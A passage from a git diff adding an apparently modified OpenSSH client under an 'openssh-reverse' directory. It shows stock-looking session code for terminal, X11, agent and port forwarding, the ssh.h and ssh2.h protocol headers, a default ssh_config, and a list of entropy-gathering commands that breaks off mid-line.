+ packet_put_int(ws.ws_ypixel); + + /* Store tty modes in the packet. */ + tty_make_modes(fileno(stdin)); + + /* Send the packet, and wait for it to leave. */ + packet_send(); + packet_write_wait(); + + /* Read response from the server. */ + type = packet_read(&plen); + if (type == SSH_SMSG_SUCCESS) { + interactive = 1; + have_tty = 1; + } else if (type == SSH_SMSG_FAILURE) + log("Warning: Remote host failed or refused to allocate a pseudo tty."); + else + packet_disconnect("Protocol error waiting for pty request response."); + } + /* Request X11 forwarding if enabled and DISPLAY is set. */ + if (options.forward_x11 && getenv("DISPLAY") != NULL) { + char proto[512], data[512]; + /* Get reasonable local authentication information. */ + x11_get_proto(proto, sizeof proto, data, sizeof data); + /* Request forwarding with authentication spoofing. */ + debug("Requesting X11 forwarding with authentication spoofing."); + x11_request_forwarding_with_spoofing(0, proto, data); + + /* Read response from the server. */ + type = packet_read(&plen); + if (type == SSH_SMSG_SUCCESS) { + interactive = 1; + } else if (type == SSH_SMSG_FAILURE) { + log("Warning: Remote host denied X11 forwarding."); + } else { + packet_disconnect("Protocol error waiting for X11 forwarding"); + } + } + /* Tell the packet module whether this is an interactive session. */ + packet_set_interactive(interactive, options.keepalives); + + /* Clear agent forwarding if we don\'t have an agent. */ + authfd = ssh_get_authentication_socket(); + if (authfd < 0) + options.forward_agent = 0; + else + ssh_close_authentication_socket(authfd); + + /* Request authentication agent forwarding if appropriate. */ + if (options.forward_agent) { + debug("Requesting authentication agent forwarding."); + auth_request_forwarding(); + + /* Read response from the server. */ + type = packet_read(&plen); + packet_integrity_check(plen, 0, type); + if (type != SSH_SMSG_SUCCESS) + log("Warning: Remote host denied authentication agent forwarding."); + } + /* Initiate local TCP/IP port forwardings. */ + for (i = 0; i < options.num_local_forwards; i++) { + debug("Connections to local port %d forwarded to remote address %.200s:%d", + options.local_forwards[i].port, + options.local_forwards[i].host, + options.local_forwards[i].host_port); + channel_request_local_forwarding(options.local_forwards[i].port, + options.local_forwards[i].host, + options.local_forwards[i].host_port, + options.gateway_ports); + } + + /* Initiate remote TCP/IP port forwardings. */ + for (i = 0; i < options.num_remote_forwards; i++) { + debug("Connections to remote port %d forwarded to local address %.200s:%d", + options.remote_forwards[i].port, + options.remote_forwards[i].host, + options.remote_forwards[i].host_port); + channel_request_remote_forwarding(options.remote_forwards[i].port, + options.remote_forwards[i].host, + options.remote_forwards[i].host_port); + } + + /* If requested, let ssh continue in the background. */ + if (fork_after_authentication_flag) + if (daemon(1, 1) < 0) + fatal("daemon() failed: %.200s", strerror(errno)); + + /* + * If a command was specified on the command line, execute the + * command now. Otherwise request the server to start a shell. + */ + if (buffer_len(&command) > 0) { + int len = buffer_len(&command); + if (len > 900) + len = 900; + debug("Sending command: %.*s", len, buffer_ptr(&command)); + packet_start(SSH_CMSG_EXEC_CMD); + packet_put_string(buffer_ptr(&command), buffer_len(&command)); + packet_send(); + packet_write_wait(); + } else { + debug("Requesting shell."); + packet_start(SSH_CMSG_EXEC_SHELL); + packet_send(); + packet_write_wait(); + } + + /* Enter the interactive session. */ + return client_loop(have_tty, tty_flag ? options.escape_char : -1); +} + +void +init_local_fwd(void) +{ + int i; + /* Initiate local TCP/IP port forwardings. */ + for (i = 0; i < options.num_local_forwards; i++) { + debug("Connections to local port %d forwarded to remote address %.200s:%d", + options.local_forwards[i].port, + options.local_forwards[i].host, + options.local_forwards[i].host_port); + channel_request_local_forwarding(options.local_forwards[i].port, + options.local_forwards[i].host, + options.local_forwards[i].host_port, + options.gateway_ports); + } +} + +extern void client_set_session_ident(int id); + +void +client_init(int id, void *arg) +{ + int len; + debug("client_init id %d arg %d", id, (int)arg); + + if (no_shell_flag) + goto done; + + if (tty_flag) { + struct winsize ws; + char *cp; + cp = getenv("TERM"); + if (!cp) + cp = ""; + /* Store window size in the packet. */ + if (ioctl(fileno(stdin), TIOCGWINSZ, &ws) < 0) + memset(&ws, 0, sizeof(ws)); + + channel_request_start(id, "pty-req", 0); + packet_put_cstring(cp); + packet_put_int(ws.ws_col); + packet_put_int(ws.ws_row); + packet_put_int(ws.ws_xpixel); + packet_put_int(ws.ws_ypixel); + packet_put_cstring(""); /* XXX: encode terminal modes */ + packet_send(); + /* XXX wait for reply */ + } + if (options.forward_x11 && + getenv("DISPLAY") != NULL) { + char proto[512], data[512]; + /* Get reasonable local authentication information. */ + x11_get_proto(proto, sizeof proto, data, sizeof data); + /* Request forwarding with authentication spoofing. */ + debug("Requesting X11 forwarding with authentication spoofing."); + x11_request_forwarding_with_spoofing(id, proto, data); + /* XXX wait for reply */ + } + + len = buffer_len(&command); + if (len > 0) { + if (len > 900) + len = 900; + debug("Sending command: %.*s", len, buffer_ptr(&command)); + channel_request_start(id, "exec", 0); + packet_put_string(buffer_ptr(&command), len); + packet_send(); + } else { + channel_request(id, "shell", 0); + } + /* channel_callback(id, SSH2_MSG_OPEN_CONFIGMATION, client_init, 0); */ +done: + /* register different callback, etc. XXX */ + client_set_session_ident(id); +} + +int +ssh_session2(void) +{ + int window, packetmax, id; + int in = dup(STDIN_FILENO); + int out = dup(STDOUT_FILENO); + int err = dup(STDERR_FILENO); + + if (in < 0 || out < 0 || err < 0) + fatal("dump in/out/err failed"); + + /* should be pre-session */ + init_local_fwd(); + + window = 32*1024; + if (tty_flag) { + packetmax = window/8; + } else { + window *= 2; + packetmax = window/2; + } + + id = channel_new( + "session", SSH_CHANNEL_OPENING, in, out, err, + window, packetmax, CHAN_EXTENDED_WRITE, xstrdup("client-session")); + + + channel_open(id); + channel_register_callback(id, SSH2_MSG_CHANNEL_OPEN_CONFIRMATION, client_init, (void *)0); + + return client_loop(tty_flag, tty_flag ? options.escape_char : -1); +} diff --git a/other/openssh-reverse/ssh.h b/other/openssh-reverse/ssh.h new file mode 100644 index 0000000..f3f049f --- /dev/null +++ b/other/openssh-reverse/ssh.h @@ -0,0 +1,560 @@ +/* + * + * ssh.h + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Fri Mar 17 17:09:37 1995 ylo + * + * Generic header file for ssh. + * + */ + +/* RCSID("$OpenBSD: ssh.h,v 1.48 2000/07/13 22:53:21 provos Exp $"); */ + +#ifndef SSH_H +#define SSH_H + +#include /* For struct sockaddr_in */ +#include /* For struct pw */ +#include /* For va_list */ +#include /* For struct sockaddr_storage */ +#include "fake-socket.h" /* For struct sockaddr_storage */ +#ifdef HAVE_SYS_SELECT_H +# include +#endif +#include "rsa.h" +#include "cipher.h" + +/* + * XXX + * The default cipher used if IDEA is not supported by the remote host. It is + * recommended that this be one of the mandatory ciphers (DES, 3DES), though + * that is not required. + */ +#define SSH_FALLBACK_CIPHER SSH_CIPHER_3DES + +/* Cipher used for encrypting authentication files. */ +#define SSH_AUTHFILE_CIPHER SSH_CIPHER_3DES + +/* Default port number. */ +#define SSH_DEFAULT_PORT 22 + +/* Maximum number of TCP/IP ports forwarded per direction. */ +#define SSH_MAX_FORWARDS_PER_DIRECTION 100 + +/* + * Maximum number of RSA authentication identity files that can be specified + * in configuration files or on the command line. + */ +#define SSH_MAX_IDENTITY_FILES 100 + +/* + * Major protocol version. Different version indicates major incompatiblity + * that prevents communication. + * + * Minor protocol version. Different version indicates minor incompatibility + * that does not prevent interoperation. + */ +#define PROTOCOL_MAJOR_1 1 +#define PROTOCOL_MINOR_1 5 + +/* We support both SSH1 and SSH2 */ +#define PROTOCOL_MAJOR_2 2 +#define PROTOCOL_MINOR_2 0 + +/* + * Name for the service. The port named by this service overrides the + * default port if present. + */ +#define SSH_SERVICE_NAME "ssh" + +#if defined(USE_PAM) && !defined(SSHD_PAM_SERVICE) +# define SSHD_PAM_SERVICE "sshd" +#endif + +#ifndef ETCDIR +#define ETCDIR "/etc" +#endif /* ETCDIR */ + +#ifndef PIDDIR +#define PIDDIR "/var/run" +#endif /* PIDDIR */ + +/* + * System-wide file containing host keys of known hosts. This file should be + * world-readable. + */ +#define SSH_SYSTEM_HOSTFILE ETCDIR "/ssh_known_hosts" +#define SSH_SYSTEM_HOSTFILE2 ETCDIR "/ssh_known_hosts2" + +/* + * Of these, ssh_host_key must be readable only by root, whereas ssh_config + * should be world-readable. + */ +#define HOST_KEY_FILE ETCDIR "/ssh_host_key" +#define SERVER_CONFIG_FILE ETCDIR "/sshd_config" +#define HOST_CONFIG_FILE ETCDIR "/ssh_config" +#define HOST_DSA_KEY_FILE ETCDIR "/ssh_host_dsa_key" + +#ifndef SSH_PROGRAM +#define SSH_PROGRAM "/usr/bin/ssh" +#endif /* SSH_PROGRAM */ + +#ifndef LOGIN_PROGRAM +#define LOGIN_PROGRAM "/usr/bin/login" +#endif /* LOGIN_PROGRAM */ + +#ifndef ASKPASS_PROGRAM +#define ASKPASS_PROGRAM "/usr/lib/ssh/ssh-askpass" +#endif /* ASKPASS_PROGRAM */ + +/* + * The process id of the daemon listening for connections is saved here to + * make it easier to kill the correct daemon when necessary. + */ +#define SSH_DAEMON_PID_FILE PIDDIR "/sshd.pid" + +/* + * The directory in user\'s home directory in which the files reside. The + * directory should be world-readable (though not all files are). + */ +#define SSH_USER_DIR ".ssh" + +/* + * Relevant only when using builtin PRNG. + */ +#ifndef SSH_PRNG_SEED_FILE +# define SSH_PRNG_SEED_FILE SSH_USER_DIR"/prng_seed" +#endif /* SSH_PRNG_SEED_FILE */ +#ifndef SSH_PRNG_COMMAND_FILE +# define SSH_PRNG_COMMAND_FILE ETCDIR "/ssh_prng_cmds" +#endif /* SSH_PRNG_COMMAND_FILE */ + +/* + * Per-user file containing host keys of known hosts. This file need not be + * readable by anyone except the user him/herself, though this does not + * contain anything particularly secret. + */ +#define SSH_USER_HOSTFILE "~/.ssh/known_hosts" +#define SSH_USER_HOSTFILE2 "~/.ssh/known_hosts2" + +/* + * Name of the default file containing client-side authentication key. This + * file should only be readable by the user him/herself. + */ +#define SSH_CLIENT_IDENTITY ".ssh/identity" +#define SSH_CLIENT_ID_DSA ".ssh/id_dsa" + +/* + * Configuration file in user\'s home directory. This file need not be + * readable by anyone but the user him/herself, but does not contain anything + * particularly secret. If the user\'s home directory resides on an NFS + * volume where root is mapped to nobody, this may need to be world-readable. + */ +#define SSH_USER_CONFFILE ".ssh/config" + +/* + * File containing a list of those rsa keys that permit logging in as this + * user. This file need not be readable by anyone but the user him/herself, + * but does not contain anything particularly secret. If the user\'s home + * directory resides on an NFS volume where root is mapped to nobody, this + * may need to be world-readable. (This file is read by the daemon which is + * running as root.) + */ +#define SSH_USER_PERMITTED_KEYS ".ssh/authorized_keys" +#define SSH_USER_PERMITTED_KEYS2 ".ssh/authorized_keys2" + +/* + * Per-user and system-wide ssh "rc" files. These files are executed with + * /bin/sh before starting the shell or command if they exist. They will be + * passed "proto cookie" as arguments if X11 forwarding with spoofing is in + * use. xauth will be run if neither of these exists. + */ +#define SSH_USER_RC ".ssh/rc" +#define SSH_SYSTEM_RC ETCDIR "/sshrc" + +/* + * Ssh-only version of /etc/hosts.equiv. Additionally, the daemon may use + * ~/.rhosts and /etc/hosts.equiv if rhosts authentication is enabled. + */ +#define SSH_HOSTS_EQUIV ETCDIR "/shosts.equiv" + +/* + * Name of the environment variable containing the pathname of the + * authentication socket. + */ +#define SSH_AUTHSOCKET_ENV_NAME "SSH_AUTH_SOCK" + +/* + * Name of the environment variable containing the pathname of the + * authentication socket. + */ +#define SSH_AGENTPID_ENV_NAME "SSH_AGENT_PID" + +/* + * Default path to ssh-askpass used by ssh-add, + * environment variable for overwriting the default location + */ +#ifndef SSH_ASKPASS_DEFAULT +# define SSH_ASKPASS_DEFAULT "/usr/X11R6/bin/ssh-askpass" +#endif +#define SSH_ASKPASS_ENV "SSH_ASKPASS" + +/* + * Force host key length and server key length to differ by at least this + * many bits. This is to make double encryption with rsaref work. + */ +#define SSH_KEY_BITS_RESERVED 128 + +/* + * Length of the session key in bytes. (Specified as 256 bits in the + * protocol.) + */ +#define SSH_SESSION_KEY_LENGTH 32 + +/* Name of Kerberos service for SSH to use. */ +#define KRB4_SERVICE_NAME "rcmd" + +/* + * Authentication methods. New types can be added, but old types should not + * be removed for compatibility. The maximum allowed value is 31. + */ +#define SSH_AUTH_RHOSTS 1 +#define SSH_AUTH_RSA 2 +#define SSH_AUTH_PASSWORD 3 +#define SSH_AUTH_RHOSTS_RSA 4 +#define SSH_AUTH_TIS 5 +#define SSH_AUTH_KERBEROS 6 +#define SSH_PASS_KERBEROS_TGT 7 + /* 8 to 15 are reserved */ +#define SSH_PASS_AFS_TOKEN 21 + +/* Protocol flags. These are bit masks. */ +#define SSH_PROTOFLAG_SCREEN_NUMBER 1 /* X11 forwarding includes screen */ +#define SSH_PROTOFLAG_HOST_IN_FWD_OPEN 2 /* forwarding opens contain host */ + +/* + * Definition of message types. New values can be added, but old values + * should not be removed or without careful consideration of the consequences + * for compatibility. The maximum value is 254; value 255 is reserved for + * future extension. + */ +/* Message name */ /* msg code */ /* arguments */ +#define SSH_MSG_NONE 0 /* no message */ +#define SSH_MSG_DISCONNECT 1 /* cause (string) */ +#define SSH_SMSG_PUBLIC_KEY 2 /* ck,msk,srvk,hostk */ +#define SSH_CMSG_SESSION_KEY 3 /* key (BIGNUM) */ +#define SSH_CMSG_USER 4 /* user (string) */ +#define SSH_CMSG_AUTH_RHOSTS 5 /* user (string) */ +#define SSH_CMSG_AUTH_RSA 6 /* modulus (BIGNUM) */ +#define SSH_SMSG_AUTH_RSA_CHALLENGE 7 /* int (BIGNUM) */ +#define SSH_CMSG_AUTH_RSA_RESPONSE 8 /* int (BIGNUM) */ +#define SSH_CMSG_AUTH_PASSWORD 9 /* pass (string) */ +#define SSH_CMSG_REQUEST_PTY 10 /* TERM, tty modes */ +#define SSH_CMSG_WINDOW_SIZE 11 /* row,col,xpix,ypix */ +#define SSH_CMSG_EXEC_SHELL 12 /* */ +#define SSH_CMSG_EXEC_CMD 13 /* cmd (string) */ +#define SSH_SMSG_SUCCESS 14 /* */ +#define SSH_SMSG_FAILURE 15 /* */ +#define SSH_CMSG_STDIN_DATA 16 /* data (string) */ +#define SSH_SMSG_STDOUT_DATA 17 /* data (string) */ +#define SSH_SMSG_STDERR_DATA 18 /* data (string) */ +#define SSH_CMSG_EOF 19 /* */ +#define SSH_SMSG_EXITSTATUS 20 /* status (int) */ +#define SSH_MSG_CHANNEL_OPEN_CONFIRMATION 21 /* channel (int) */ +#define SSH_MSG_CHANNEL_OPEN_FAILURE 22 /* channel (int) */ +#define SSH_MSG_CHANNEL_DATA 23 /* ch,data (int,str) */ +#define SSH_MSG_CHANNEL_CLOSE 24 /* channel (int) */ +#define SSH_MSG_CHANNEL_CLOSE_CONFIRMATION 25 /* channel (int) */ +/* SSH_CMSG_X11_REQUEST_FORWARDING 26 OBSOLETE */ +#define SSH_SMSG_X11_OPEN 27 /* channel (int) */ +#define SSH_CMSG_PORT_FORWARD_REQUEST 28 /* p,host,hp (i,s,i) */ +#define SSH_MSG_PORT_OPEN 29 /* ch,h,p (i,s,i) */ +#define SSH_CMSG_AGENT_REQUEST_FORWARDING 30 /* */ +#define SSH_SMSG_AGENT_OPEN 31 /* port (int) */ +#define SSH_MSG_IGNORE 32 /* string */ +#define SSH_CMSG_EXIT_CONFIRMATION 33 /* */ +#define SSH_CMSG_X11_REQUEST_FORWARDING 34 /* proto,data (s,s) */ +#define SSH_CMSG_AUTH_RHOSTS_RSA 35 /* user,mod (s,mpi) */ +#define SSH_MSG_DEBUG 36 /* string */ +#define SSH_CMSG_REQUEST_COMPRESSION 37 /* level 1-9 (int) */ +#define SSH_CMSG_MAX_PACKET_SIZE 38 /* size 4k-1024k (int) */ +#define SSH_CMSG_AUTH_TIS 39 /* we use this for s/key */ +#define SSH_SMSG_AUTH_TIS_CHALLENGE 40 /* challenge (string) */ +#define SSH_CMSG_AUTH_TIS_RESPONSE 41 /* response (string) */ +#define SSH_CMSG_AUTH_KERBEROS 42 /* (KTEXT) */ +#define SSH_SMSG_AUTH_KERBEROS_RESPONSE 43 /* (KTEXT) */ +#define SSH_CMSG_HAVE_KERBEROS_TGT 44 /* credentials (s) */ +#define SSH_CMSG_HAVE_AFS_TOKEN 65 /* token (s) */ + +/*------------ definitions for login.c -------------*/ + +/* + * Returns the time when the user last logged in. Returns 0 if the + * information is not available. This must be called before record_login. + * The host from which the user logged in is stored in buf. + */ +unsigned long +get_last_login_time(uid_t uid, const char *logname, + char *buf, unsigned int bufsize); + +/* + * Records that the user has logged in. This does many things normally done + * by login(1). + */ +void +record_login(pid_t pid, const char *ttyname, const char *user, uid_t uid, + const char *host, struct sockaddr *addr); + +/* + * Records that the user has logged out. This does many thigs normally done + * by login(1) or init. + */ +void record_logout(pid_t pid, const char *ttyname); + +/*------------ definitions for sshconnect.c ----------*/ + +/* + * Opens a TCP/IP connection to the remote server on the given host. If port + * is 0, the default port will be used. If anonymous is zero, a privileged + * port will be allocated to make the connection. This requires super-user + * privileges if anonymous is false. Connection_attempts specifies the + * maximum number of tries, one per second. This returns true on success, + * and zero on failure. If the connection is successful, this calls + * packet_set_connection for the connection. + */ +int +ssh_connect(const char *host, struct sockaddr_storage * hostaddr, + u_short port, int connection_attempts, + int anonymous, uid_t original_real_uid, + const char *proxy_command); + +/* + * Starts a dialog with the server, and authenticates the current user on the + * server. This does not need any extra privileges. The basic connection to + * the server must already have been established before this is called. If + * login fails, this function prints an error and never returns. This + * initializes the random state, and leaves it initialized (it will also have + * references from the packet module). + */ + +void +ssh_login(int host_key_valid, RSA * host_key, const char *host, + struct sockaddr * hostaddr, uid_t original_real_uid); + +/*------------ Definitions for various authentication methods. -------*/ + +/* + * Tries to authenticate the user using the .rhosts file. Returns true if + * authentication succeeds. If ignore_rhosts is non-zero, this will not + * consider .rhosts and .shosts (/etc/hosts.equiv will still be used). + */ +int auth_rhosts(struct passwd * pw, const char *client_user); + +/* + * Tries to authenticate the user using the .rhosts file and the host using + * its host key. Returns true if authentication succeeds. + */ +int +auth_rhosts_rsa(struct passwd * pw, const char *client_user, RSA* client_host_key); + +/* + * Tries to authenticate the user using password. Returns true if + * authentication succeeds. + */ +int auth_password(struct passwd * pw, const char *password); + +/* + * Performs the RSA authentication dialog with the client. This returns 0 if + * the client could not be authenticated, and 1 if authentication was + * successful. This may exit if there is a serious protocol violation. + */ +int auth_rsa(struct passwd * pw, BIGNUM * client_n); + +/* + * Parses an RSA key (number of bits, e, n) from a string. Moves the pointer + * over the key. Skips any whitespace at the beginning and at end. + */ +int auth_rsa_read_key(char **cpp, unsigned int *bitsp, BIGNUM * e, BIGNUM * n); + +/* + * Returns the name of the machine at the other end of the socket. The + * returned string should be freed by the caller. + */ +char *get_remote_hostname(int socket); + +/* + * Return the canonical name of the host in the other side of the current + * connection (as returned by packet_get_connection). The host name is + * cached, so it is efficient to call this several times. + */ +const char *get_canonical_hostname(void); + +/* + * Returns the remote IP address as an ascii string. The value need not be + * freed by the caller. + */ +const char *get_remote_ipaddr(void); + +/* Returns the port number of the peer of the socket. */ +int get_peer_port(int sock); + +/* Returns the port number of the remote/local host. */ +int get_remote_port(void); +int get_local_port(void); + + +/* + * Performs the RSA authentication challenge-response dialog with the client, + * and returns true (non-zero) if the client gave the correct answer to our + * challenge; returns zero if the client gives a wrong answer. + */ +int auth_rsa_challenge_dialog(RSA *pk); + +/* + * Reads a passphrase from /dev/tty with echo turned off. Returns the + * passphrase (allocated with xmalloc). Exits if EOF is encountered. If + * from_stdin is true, the passphrase will be read from stdin instead. + */ +char *read_passphrase(const char *prompt, int from_stdin); + + +/*------------ Definitions for logging. -----------------------*/ + +/* Supported syslog facilities and levels. */ +typedef enum { + SYSLOG_FACILITY_DAEMON, + SYSLOG_FACILITY_USER, + SYSLOG_FACILITY_AUTH, + SYSLOG_FACILITY_LOCAL0, + SYSLOG_FACILITY_LOCAL1, + SYSLOG_FACILITY_LOCAL2, + SYSLOG_FACILITY_LOCAL3, + SYSLOG_FACILITY_LOCAL4, + SYSLOG_FACILITY_LOCAL5, + SYSLOG_FACILITY_LOCAL6, + SYSLOG_FACILITY_LOCAL7 +} SyslogFacility; + +typedef enum { + SYSLOG_LEVEL_QUIET, + SYSLOG_LEVEL_FATAL, + SYSLOG_LEVEL_ERROR, + SYSLOG_LEVEL_INFO, + SYSLOG_LEVEL_VERBOSE, + SYSLOG_LEVEL_DEBUG +} LogLevel; +/* Initializes logging. */ +void log_init(char *av0, LogLevel level, SyslogFacility facility, int on_stderr); + +/* Logging implementation, depending on server or client */ +void do_log(LogLevel level, const char *fmt, va_list args); + +/* name to facility/level */ +SyslogFacility log_facility_number(char *name); +LogLevel log_level_number(char *name); + +/* Output a message to syslog or stderr */ +void fatal(const char *fmt,...) __attribute__((format(printf, 1, 2))); +void error(const char *fmt,...) __attribute__((format(printf, 1, 2))); +void log(const char *fmt,...) __attribute__((format(printf, 1, 2))); +void verbose(const char *fmt,...) __attribute__((format(printf, 1, 2))); +void debug(const char *fmt,...) __attribute__((format(printf, 1, 2))); + +/* same as fatal() but w/o logging */ +void fatal_cleanup(void); + +/* + * Registers a cleanup function to be called by fatal()/fatal_cleanup() + * before exiting. It is permissible to call fatal_remove_cleanup for the + * function itself from the function. + */ +void fatal_add_cleanup(void (*proc) (void *context), void *context); + +/* Removes a cleanup function to be called at fatal(). */ +void fatal_remove_cleanup(void (*proc) (void *context), void *context); + +/* ---- misc */ + +/* + * Expands tildes in the file name. Returns data allocated by xmalloc. + * Warning: this calls getpw*. + */ +char *tilde_expand_filename(const char *filename, uid_t my_uid); + +/* remove newline at end of string */ +char *chop(char *s); + +/* return next token in configuration line */ +char *strdelim(char **s); + +/* set filedescriptor to non-blocking */ +void set_nonblock(int fd); + +/* + * Performs the interactive session. This handles data transmission between + * the client and the program. Note that the notion of stdin, stdout, and + * stderr in this function is sort of reversed: this function writes to stdin + * (of the child program), and reads from stdout and stderr (of the child + * program). + */ +void server_loop(pid_t pid, int fdin, int fdout, int fderr); +void server_loop2(void); + +/* Client side main loop for the interactive session. */ +int client_loop(int have_pty, int escape_char); + +/* Linked list of custom environment strings (see auth-rsa.c). */ +struct envstring { + struct envstring *next; + char *s; +}; + +/* + * Ensure all of data on socket comes through. f==read || f==write + */ +ssize_t atomicio(ssize_t (*f)(), int fd, void *s, size_t n); + +#ifdef KRB4 +#include +/* + * Performs Kerberos v4 mutual authentication with the client. This returns 0 + * if the client could not be authenticated, and 1 if authentication was + * successful. This may exit if there is a serious protocol violation. + */ +int auth_krb4(const char *server_user, KTEXT auth, char **client); +int krb4_init(uid_t uid); +void krb4_cleanup_proc(void *ignore); +int auth_krb4_password(struct passwd * pw, const char *password); + +#ifdef AFS +#include + +/* Accept passed Kerberos v4 ticket-granting ticket and AFS tokens. */ +int auth_kerberos_tgt(struct passwd * pw, const char *string); +int auth_afs_token(struct passwd * pw, const char *token_string); + +int creds_to_radix(CREDENTIALS * creds, unsigned char *buf, size_t buflen); +int radix_to_creds(const char *buf, CREDENTIALS * creds); +#endif /* AFS */ + +#endif /* KRB4 */ + +#ifdef SKEY +#include +char *skey_fake_keyinfo(char *username); +int auth_skey_password(struct passwd * pw, const char *password); +#endif /* SKEY */ + +/* AF_UNSPEC or AF_INET or AF_INET6 */ +extern int IPv4or6; + +#ifdef USE_PAM +#include "auth-pam.h" +#endif /* USE_PAM */ + +#endif /* SSH_H */ diff --git a/other/openssh-reverse/ssh2.h b/other/openssh-reverse/ssh2.h new file mode 100644 index 0000000..1fa4c0a --- /dev/null +++ b/other/openssh-reverse/ssh2.h @@ -0,0 +1,112 @@ +/* + * draft-ietf-secsh-architecture-05.txt + * + * Transport layer protocol: + * + * 1-19 Transport layer generic (e.g. disconnect, ignore, debug, + * etc) + * 20-29 Algorithm negotiation + * 30-49 Key exchange method specific (numbers can be reused for + * different authentication methods) + * + * User authentication protocol: + * + * 50-59 User authentication generic + * 60-79 User authentication method specific (numbers can be reused + * for different authentication methods) + * + * Connection protocol: + * + * 80-89 Connection protocol generic + * 90-127 Channel related messages + * + * Reserved for client protocols: + * + * 128-191 Reserved + * + * Local extensions: + * + * 192-255 Local extensions + */ +/* RCSID("$OpenBSD: ssh2.h,v 1.3 2000/05/15 07:03:12 markus Exp $"); */ + +/* transport layer: generic */ + +#define SSH2_MSG_DISCONNECT 1 +#define SSH2_MSG_IGNORE 2 +#define SSH2_MSG_UNIMPLEMENTED 3 +#define SSH2_MSG_DEBUG 4 +#define SSH2_MSG_SERVICE_REQUEST 5 +#define SSH2_MSG_SERVICE_ACCEPT 6 + +/* transport layer: alg negotiation */ + +#define SSH2_MSG_KEXINIT 20 +#define SSH2_MSG_NEWKEYS 21 + +/* transport layer: kex specific messages, can be reused */ + +#define SSH2_MSG_KEXDH_INIT 30 +#define SSH2_MSG_KEXDH_REPLY 31 + +/* user authentication: generic */ + +#define SSH2_MSG_USERAUTH_REQUEST 50 +#define SSH2_MSG_USERAUTH_FAILURE 51 +#define SSH2_MSG_USERAUTH_SUCCESS 52 +#define SSH2_MSG_USERAUTH_BANNER 53 + +/* user authentication: method specific, can be reused */ + +#define SSH2_MSG_USERAUTH_PK_OK 60 +#define SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ 60 +#define SSH2_MSG_USERAUTH_INFO_REQUEST 60 +#define SSH2_MSG_USERAUTH_INFO_RESPONSE 61 + +/* connection protocol: generic */ + +#define SSH2_MSG_GLOBAL_REQUEST 80 +#define SSH2_MSG_REQUEST_SUCCESS 81 +#define SSH2_MSG_REQUEST_FAILURE 82 + +/* channel related messages */ + +#define SSH2_MSG_CHANNEL_OPEN 90 +#define SSH2_MSG_CHANNEL_OPEN_CONFIRMATION 91 +#define SSH2_MSG_CHANNEL_OPEN_FAILURE 92 +#define SSH2_MSG_CHANNEL_WINDOW_ADJUST 93 +#define SSH2_MSG_CHANNEL_DATA 94 +#define SSH2_MSG_CHANNEL_EXTENDED_DATA 95 +#define SSH2_MSG_CHANNEL_EOF 96 +#define SSH2_MSG_CHANNEL_CLOSE 97 +#define SSH2_MSG_CHANNEL_REQUEST 98 +#define SSH2_MSG_CHANNEL_SUCCESS 99 +#define SSH2_MSG_CHANNEL_FAILURE 100 + +/* disconnect reason code */ + +#define SSH2_DISCONNECT_HOST_NOT_ALLOWED_TO_CONNECT 1 +#define SSH2_DISCONNECT_PROTOCOL_ERROR 2 +#define SSH2_DISCONNECT_KEY_EXCHANGE_FAILED 3 +#define SSH2_DISCONNECT_HOST_AUTHENTICATION_FAILED 4 +#define SSH2_DISCONNECT_RESERVED 4 +#define SSH2_DISCONNECT_MAC_ERROR 5 +#define SSH2_DISCONNECT_COMPRESSION_ERROR 6 +#define SSH2_DISCONNECT_SERVICE_NOT_AVAILABLE 7 +#define SSH2_DISCONNECT_PROTOCOL_VERSION_NOT_SUPPORTED 8 +#define SSH2_DISCONNECT_HOST_KEY_NOT_VERIFIABLE 9 +#define SSH2_DISCONNECT_CONNECTION_LOST 10 +#define SSH2_DISCONNECT_BY_APPLICATION 11 +#define SSH2_DISCONNECT_TOO_MANY_CONNECTIONS 12 +#define SSH2_DISCONNECT_AUTH_CANCELLED_BY_USER 13 +#define SSH2_DISCONNECT_NO_MORE_AUTH_METHODS_AVAILABLE 14 +#define SSH2_DISCONNECT_ILLEGAL_USER_NAME 15 + +/* misc */ + +#define SSH2_OPEN_ADMINISTRATIVELY_PROHIBITED 1 +#define SSH2_OPEN_CONNECT_FAILED 2 +#define SSH2_OPEN_UNKNOWN_CHANNEL_TYPE 3 +#define SSH2_OPEN_RESOURCE_SHORTAGE 4 + +#define SSH2_EXTENDED_DATA_STDERR 1 diff --git a/other/openssh-reverse/ssh_config b/other/openssh-reverse/ssh_config new file mode 100644 index 0000000..70275b3 --- /dev/null +++ b/other/openssh-reverse/ssh_config @@ -0,0 +1,37 @@ +# This is ssh client systemwide configuration file. This file provides +# defaults for users, and the values can be changed in per-user configuration +# files or on the command line. + +# Configuration data is parsed as follows: +# 1. command line options +# 2. user-specific file +# 3. system-wide file +# Any configuration value is only changed the first time it is set. +# Thus, host-specific definitions should be at the beginning of the +# configuration file, and defaults at the end. + +# Site-wide defaults for various options + +# Host * +# ForwardAgent yes +# ForwardX11 yes +# RhostsAuthentication yes +# RhostsRSAAuthentication yes +# RSAAuthentication yes +# PasswordAuthentication yes +# FallBackToRsh no +# UseRsh no +# BatchMode no +# CheckHostIP yes +# StrictHostKeyChecking no +# IdentityFile ~/.ssh/identity +# Port 22 +# Protocol 2,1 +# Cipher 3des +# EscapeChar ~ + +# Be paranoid by default +Host * + ForwardAgent no + ForwardX11 no + FallBackToRsh no diff --git a/other/openssh-reverse/ssh_prng_cmds b/other/openssh-reverse/ssh_prng_cmds new file mode 100644 index 0000000..0faeda8 --- /dev/null +++ b/other/openssh-reverse/ssh_prng_cmds @@ -0,0 +1,51 @@ +# entropy gathering commands + +# Format is: "program-name args" path rate + +# The "rate" represents the number of bits of usuable entropy per +# byte of command output. Be conservative. + +"ls -alni /var/log" 0.02 +"ls -alni /var/adm" 0.02 +"ls -alni /var/mail" 0.02 +"ls -alni /var/spool/mail" 0.02 +"ls -alni /proc" 0.02 +"ls -alni /tmp" 0.02 + +"netstat -an" 0.05 +"netstat -in" 0.05 +"netstat -rn" 0.02 +"netstat -pn" 0.02 +"netstat -s" 0.02 + +"arp -a -n" 0.02 + +"ifconfig -a" 0.02 + +"ps laxww" 0.03 +"ps -al" 0.03 +"ps -efl" 0.03 + +"w" 0.05 + +"who -i" 0.01 + +"last" 0.01 + +"lastlog" 0.01 + +"df" 0.01 +"df -i" 0.01 + +"vmstat" 0.01 +"uptime" 0.01 + +"ipcs -a" 0.01 + +"tail -200 /var/log/messages" 0.01 +"tail -200 /var/log/syslog" 0.01 +"tail -200 /var/adm/messages" 0.01 +"tail -200 